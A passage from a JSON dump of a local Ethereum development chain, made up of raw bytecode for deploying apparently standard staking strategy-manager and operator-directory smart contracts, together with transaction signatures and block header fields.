0637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f000000000000000000000000000000000000000000000000000000000000000046036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220c44798d4ada1e90848e8d31a2c80c503dc1cf81f9a5671db1af6a45d97d3e5c364736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc90000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853","r":"0x3b375f089b698a0ec9f8338f724a981ba4efd5c00bb160f2b7d7bf8ea26ce7d2","s":"0x43abc463a1f360a6af4727230e57f2c5e382febaa45be57507566caa967dd894","yParity":"0x0","hash":"0x8fe2e7953d994e666b6891e094bbc314982ee6e160781be5861cc3cb63fbed4e"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x7eb9955e73be07f63fef905d294c917294787636411afeab3995d8e4fa1081f5","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x38151a6776b31b4ae893e2fae9aecb8081a108da4902255b78324feff8fd7af9","transactionsRoot":"0xa118868e8d45b6a6415405ef99c8cc8f1f05f27af79827e6fcb20b91cb6d079c","receiptsRoot":"0x289fcf4ee1ed78fc0ef575919304e2f5a2861614c0da957ad8b92c2179d79aa5","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000800400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xb","gasLimit":"0x1c9c380","gasUsed":"0x1a8b21","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1293b3b6","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xe","gas":"0x227f19","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb